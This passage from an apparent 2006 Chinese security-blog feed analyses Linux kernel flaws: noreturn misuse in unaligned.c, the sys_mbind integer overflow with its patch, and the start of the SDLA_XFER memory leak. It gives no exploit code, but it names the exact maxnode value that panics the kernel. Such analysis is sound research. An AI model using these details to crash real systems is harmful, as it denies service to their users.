die_if_kernel("big-endian unaligned accesses are not supported",
regs, 0);<br>
1312&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
goto force_sigbus;<br>
1313&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
<br>
1312处代码的是用来处理用户模式情况的。如果是用户模式，1311行die_if_kernel会返回，1312行代码将执行跳转到<br>
向用户进程发送SIGBUS信号的代码处。很明显，由于noreturn的原因，1312处的代码将被优化掉，因此die_if_kernel<br>
返回后的执行代码将不可预测，这将可能导致KERNEL PANIC或其它更严重的后果。<br>
<br>
通过以上分析，我们可以得到以下结论：<br>
<br>
在对一个有可能返回的函数使用了__attribute__ ((noreturn))声明的情况下，<br>
所有对此函数的调用处都有可能存在潜在的执行路径异常问题。如果某处调用在调用前没有进行足够确保函数返回情况<br>
不会发生的检查，那么此处代码将出现执行路径异常问题，这将可能导致系统崩溃或其它严重后果。<br>
<br>
利用代码<br>
---------<br>
<br>
相关问题<br>
---------<br>
<br>
1. noreturn情况下对if条件语句的优化<br>
<br>
上面在分析GCC对noreturn调用的优化结果的时候，举的例子很简单。由于后面分析的unaligned.c中的die_if_kernel<br>
调用都是位于if条件语句中，所以你也也许会产生一些疑问：这种情况下优化是否有所不同？下面是测试带有if条件<br>
语句和goto语句情况下GCC的优化结果的例子。<br>
<br>
grip2@debian:~/tmp$ cat foo.c<br>
<br>
int foo() __attribute__ ((noreturn));<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (argc &gt; 2) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
foo();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
goto err;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>
err:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 1;<br>
}<br>
<br>
int foo()<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
<br>
grip2@debian:~/tmp$ gcc foo.c -S -o&nbsp; foo-if-noreturn.s<br>
grip2@debian:~/tmp$ cat
foo-if-noreturn.s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .file&nbsp;&nbsp;
"foo.c"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .text<br>
.globl main<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; main,
@function<br>
main:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
%esp, %ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp;
$8, %esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp;
$-16, %esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp;
$15, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp;
$15, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shrl&nbsp;&nbsp;&nbsp;
$4, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sall&nbsp;&nbsp;&nbsp;
$4, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; subl&nbsp;&nbsp;&nbsp;
%eax, %esp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmpl&nbsp;&nbsp;&nbsp;
$2, 8(%ebp)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
jle&nbsp;&nbsp;&nbsp;&nbsp; .L2<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;
foo<br>
.L2:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; leave<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; main,
.-main<br>
.globl foo<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .type&nbsp;&nbsp; foo,
@function<br>
foo:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
%esp, %ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0, %eax<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; popl&nbsp;&nbsp;&nbsp;
%ebp<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .size&nbsp;&nbsp; foo,
.-foo<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .ident&nbsp; "GCC: (GNU)
4.0.2"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.section&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
.note.GNU-stack,"",@progbits<br>
<br>
可以看到goto err;被优化掉，call foo后将执行错误的路径。<br>
<br>
备注<br>
---------<br>
无<br>
<br>
]]></description><guid>http://www.i170.com/Article/18459</guid><trackback:ping>http://www.i170.com/Article/18459/trackback</trackback:ping><comments>http://www.i170.com/Article/18459#comment</comments><wfw:commentRss>http://www.i170.com/Article/18459/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/18052</link><title><![CDATA[Linux Kernel sys_mbind系统调用本地拒绝服务漏洞分析]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Thu, 09 Mar 2006 17:44:04  +0800</pubDate><description><![CDATA[Linux Kernel sys_mbind系统调用本地拒绝服务漏洞分析<br>
<br>
2006/03/09<br>
Written by grip2 &lt;gript2@hotmail.com&gt;<br>
<br>
漏洞描述<br>
---------<br>
Bugtraq ID: &nbsp;&nbsp;&nbsp; 16924<br>
<br>
The Linux kernel 'sys_mbind' system call is prone to a local
denial-of-service vulnerability. This issue is due to a lack of
proper input sanitization in the system call's arguments.<br>
<br>
This issue allows local users to panic the kernel, denying further
service to legitimate users.<br>
<br>
This issue affects Linux kernel versions prior to 2.6.15.5.<br>
<br>
参考信息<br>
---------<br>
<br>
http://www.securityfocus.com/bid/16924/discuss<br>
http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.15.5<br>
<br>
背景信息<br>
---------<br>
<br>
漏洞分析<br>
---------<br>
<p class="partingline">[separator]</p>
<br>
此漏洞存在于Linux内核sys_mbind系统调用中。<br>
下面是sys_mbind系统调用的代码片段：<br>
<br>
353 asmlinkage long sys_mbind(unsigned long start, unsigned long
len,<br>
354&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
unsigned long mode,<br>
355&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
unsigned long __user *nmask, unsigned long maxnode,<br>
356&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
unsigned flags)<br>
357 {<br>
358&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
vm_area_struct *vma;<br>
359&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
mm_struct *mm = current-&gt;mm;<br>
360&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
mempolicy *new;<br>
361&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
end;<br>
362&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
DECLARE_BITMAP(nodes, MAX_NUMNODES);<br>
363&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int err;<br>
364<br>
365&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((flags
&amp; ~(unsigned long)(MPOL_MF_STRICT)) || mode &gt; MPOL_MAX)<br>
366&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EINVAL;<br>
367&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (start &amp;
~PAGE_MASK)<br>
368&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EINVAL;<br>
369&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (mode ==
MPOL_DEFAULT)<br>
370&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
flags &amp;= ~MPOL_MF_STRICT;<br>
371&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len = (len +
PAGE_SIZE - 1) &amp; PAGE_MASK;<br>
372&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end = start +
len;<br>
373&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (end &lt;
start)<br>
374&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EINVAL;<br>
375&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (end ==
start)<br>
376&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return 0;<br>
377<br>
378&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; err =
get_nodes(nodes, nmask, maxnode, mode);<br>
379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (err)<br>
380&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return err;<br>
381<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ......<br>
397 }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
可以看到在sys_mbind系统调用执行过程中，get_nodes函数(378行)将被调用，变量maxnode<br>
作为get_node函数的参数被传入。maxnode本身是系统调用的参数，其在传递给get_node函数<br>
之前未做任何检查，这样普通用户可以将maxnode赋为任意数值传入到get_nodes函数中。<br>
<br>
下面继续看get_nodes函数(mm/mempolicy.c)的代码:<br>
&nbsp;
<p class="partingline">[separator]</p>
<br>
&nbsp;/* Copy a node mask from user space. */<br>
130 static int get_nodes(unsigned long *nodes, unsigned long __user
*nmask,<br>
131&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
unsigned long maxnode, int mode)<br>
132 {<br>
133&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
k;<br>
134&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
nlongs;<br>
135&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
endmask;<br>
136<br>
137&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --maxnode;<br>
138&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
bitmap_zero(nodes, MAX_NUMNODES);<br>
139&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (maxnode ==
0 || !nmask)<br>
140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return 0;<br>
141<br>
142&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nlongs =
BITS_TO_LONGS(maxnode);<br>
143&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((maxnode %
BITS_PER_LONG) == 0)<br>
144&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
endmask = ~0UL;<br>
145&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>
146&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
endmask = (1UL &lt;&lt; (maxnode % BITS_PER_LONG)) - 1;<br>
147<br>
148&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* When the
user specified more nodes than supported just check<br>
149&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if the non supported part is all zero. */<br>
150&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (nlongs &gt;
BITS_TO_LONGS(MAX_NUMNODES)) {<br>
151&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (nlongs &gt; PAGE_SIZE/sizeof(long))<br>
152&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EINVAL;<br>
153&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
for (k = BITS_TO_LONGS(MAX_NUMNODES); k &lt; nlongs; k++) {<br>
154&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
unsigned long t;<br>
155&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (get_user(t,&nbsp; nmask + k))<br>
156&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EFAULT;<br>
157&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (k == nlongs - 1) {<br>
158&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (t &amp; endmask)<br>
159&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EINVAL;<br>
160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
} else if (t)<br>
161&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EINVAL;<br>
162&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
163&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
nlongs = BITS_TO_LONGS(MAX_NUMNODES);<br>
164&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
endmask = ~0UL;<br>
165&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
166<br>
167&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if
(copy_from_user(nodes, nmask, nlongs*sizeof(unsigned long)))<br>
168&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EFAULT;<br>
169&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nodes[nlongs-1]
&amp;= endmask;<br>
170&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return
mpol_check_policy(mode, nodes);<br>
171 }<br>
<br>
在142行处，作为参数传入的maxnode经过BITS_TO_LONGS宏处理后被复制给nlongs，<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; nlongs = BITS_TO_LONGS(maxnode);<br>
<br>
我们来看BITS_TO_LONGS宏的定义：<br>
<br>
7 #define BITS_TO_LONGS(bits) \<br>
8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
(((bits)+BITS_PER_LONG-1)/BITS_PER_LONG)<br>
<br>
结合BITS_TO_LONGS宏定义可以看出，由于maxnode可为任意正值(不超过unsigned
long类型取值的上限)，<br>
因此当maxnode取值为 (unsigned
long)(1-BITS_PER_LONG)时，((bits)+BITS_PER_LONG-1)语句处将会<br>
发生整数溢出，这导致(((bits)+BITS_PER_LONG-1)/BITS_PER_LONG)的值为0，即被赋值给nlongs的值将是0。<br>
<br>
再从此处继续向下阅读代码，可以看到在169行有如下代码：<br>
<br>
169&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nodes[nlongs-1]
&amp;= endmask;<br>
<br>
nlongs在这里被使用，不难看出当nlongs取值为0时将会发生什么情况 --- 非法地址访问，可能造成系统panic!<br>
<br>
综上所述，当用户向sys_mbind系统调用传递恶意maxnode参数取值时，可以引发整数溢出漏洞，造成系统崩溃。<br>
<br>
利用代码<br>
---------<br>
<br>
相关问题<br>
---------<br>
<br>
1. nodes[-1]<br>
<br>
如果nodes指向的是一个大数组的中间的一部分，那nodes[-1]就有可能不能触发非法地址访问错误，所以对于<br>
这点也验证了一下：<br>
<br>
追根溯源，nodes数组是通过sys_mbind系统调用中的如下语句定义的<br>
&nbsp;&nbsp;&nbsp;
362&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
DECLARE_BITMAP(nodes, MAX_NUMNODES);<br>
<br>
DECLARE_BITMAP宏定义如下：<br>
<br>
&nbsp;&nbsp;&nbsp; 9 #define DECLARE_BITMAP(name,bits) \<br>
&nbsp;&nbsp;&nbsp;
10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
name[BITS_TO_LONGS(bits)]<br>
<br>
因此，可以断定nodes是一块独立的内存块，nodes[-1]的访问方式确实存在问题。<br>
<br>
备注<br>
---------<br>
<br>
在分析这个漏洞时，我首先是查看了内核补丁，内核对这个漏洞的修补如下<br>
<br>
diff --git a/mm/mempolicy.c b/mm/mempolicy.c<br>
index 72f402c..6e870ba 100644<br>
--- a/mm/mempolicy.c<br>
+++ b/mm/mempolicy.c<br>
@@ -524,6 +524,8 @@ static int get_nodes(nodemask_t *nodes,<br>
&nbsp;&nbsp;&nbsp;&nbsp; nodes_clear(*nodes);<br>
&nbsp;&nbsp;&nbsp;&nbsp; if (maxnode == 0 || !nmask)<br>
&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return 0;<br>
+&nbsp;&nbsp;&nbsp; if (maxnode &gt; PAGE_SIZE*BITS_PER_BYTE)<br>
+&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return -EINVAL;<br>
<br>
内核加了maxnode不能大于PAGE_SIZE*BITS_PER_BYTE的检查条件，遗憾的是我一开始就被误导了，纠缠于<br>
PAGE_SIZE*BITS_PER_BYTE这个限定值，结果绕了一圈之后才回到正途，浪费了不少时间...<br>
<br>
]]></description><guid>http://www.i170.com/Article/18052</guid><trackback:ping>http://www.i170.com/Article/18052/trackback</trackback:ping><comments>http://www.i170.com/Article/18052#comment</comments><wfw:commentRss>http://www.i170.com/Article/18052/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/16879</link><title><![CDATA[Linux Kernel SDLA_XFER内核信息泄露漏洞分析]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Mon, 27 Feb 2006 16:40:50  +0800</pubDate><description><![CDATA[Linux Kernel SDLA_XFER内核信息泄露漏洞分析<br>
<br>
2006/02/27<br>
Written by grip2 &lt;gript2@hotmail.com&gt;<br>
<br>
<br>
漏洞描述<br>
---------<br>
<br>
A numeric casting discrepancy in sdla_xfer in Linux kernel 2.6.x up
to 2.6.5 and 2.4 up to 2.4.29-rc1 allows local users to read
portions of kernel memory via a large len argument, which is
received as an int but cast to a short, which prevents a read loop
from filling a buffer.<br>
<br>
参考信息<br>
---------<br>
<br>
http://www.securityfocus.com/bid/16759/discuss<br>
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2607<br>
http://www.uwsg.iu.edu/hypermail/linux/kernel/0404.2/0313.html<br>
<br>
背景信息<br>
---------<br>
<br>
&nbsp;SDLA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; An
implementation of a driver for the Sangoma S502/S508 series<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
multi-protocol PC interface card.&nbsp; Initial offering is
with<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
the DLCI driver, providing Frame Relay support for linux.<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Global definitions for the Frame relay interface.<br>
<br>
漏洞分析<br>
---------<br>
<p class="partingline">[separator]</p>
<br>
问题存在于SDLA驱动程序中,下面我们来分析一下相关代码。<br>
<br>
当用户通过ioctl调用读取设备内存信息时，在内核中驱动程序中的sdla_ioctl函数将被调用。在sdla_ioctl<br>
中case
SDLA_READMEM部分sdla_xfer函数又将被进一步调用，在此时ifr-&gt;ifr_data被作为参数传递，注意此时未做任何检查、处理。<br>
<br>
sdla_ioctl代码如下：<br>
grip2@debian:/usr/src/linux-2.4.32/drivers/net/wan$ vi sdla.c<br>
<br>
static int sdla_ioctl(struct net_device *dev, struct ifreq *ifr,
int cmd)<br>
{<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct frad_local
*flp;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if(!capable(CAP_NET_ADMIN))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
return -EPERM;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; flp = dev-&gt;priv;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if
(!flp-&gt;initialized)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
